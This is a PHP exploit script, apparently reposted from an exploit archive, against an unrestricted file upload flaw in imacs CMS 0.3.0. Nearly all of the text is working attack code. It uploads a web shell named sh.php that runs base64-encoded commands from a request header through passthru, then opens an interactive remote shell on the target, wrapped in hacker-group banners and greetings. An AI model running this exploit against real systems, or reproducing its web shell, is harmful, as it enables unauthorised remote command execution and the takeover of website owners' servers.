imacs CMS 0.3.0 - Unrestricted File Upload Exploit

<?php
  

#####################################################
VULNERABILITY: Unrestricted File Upload 
#####################################################
   
/src/assets/mng/mng.php

  
 

  
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
  
function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die("\n[-] No response from {$host}:80\n");
   
    fputs($sock, $packet);
    return stream_get_contents($sock);
}
  
print "\n==============================================\n";
print "  imacs CMS Unrestricted File Upload Exploit  \n";
print "                                              \n";
print "        Discovered By CWH Underground         \n";
print "==============================================\n\n";
print "  ,--^----------,--------,-----,-------^--,   \n";
print "  | |||||||||   `--------'     |          O   \n";
print "  `+---------------------------^----------|   \n";
print "    `\_,-------, _________________________|   \n";
print "      / XXXXXX /`|     /                      \n";
print "     / XXXXXX /  `\   /                       \n";
print "    / XXXXXX /\______(                        \n";
print "   / XXXXXX /                                 \n";
print "  / XXXXXX /   .. CWH Underground Hacking Team ..  \n";
print " (________(                                   \n";
print "  `------'                                    \n\n";
 
   
if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /imacs/\n";
    die();
}
  
$host = $argv[1];
$path = $argv[2];
  
 
$payload  = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"upload\"; filename=\"sh.php\"\r\n";
$payload .= "Content-Type: application/octet-stream\r\n\r\n";
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";
$payload .= "--o0oOo0o--\r\n";
 
$packet  = "GET {$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
 
$response = http_send($host, $packet);
 
if (!preg_match("/Set-Cookie: ([^;]*);/i", $response, $sid)) die("\n[-] Session ID not found!\n");
 
$packet  = "POST {$path}src/assets/mng/mng.php?dir= HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
      
http_send($host, $packet);
  
$packet  = "GET {$path}content/uploads/sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
      
while(1)
{
    print "\nimacs-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
 
################################################################################################################
# Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
?>

#  0day.today [2018-04-02]  #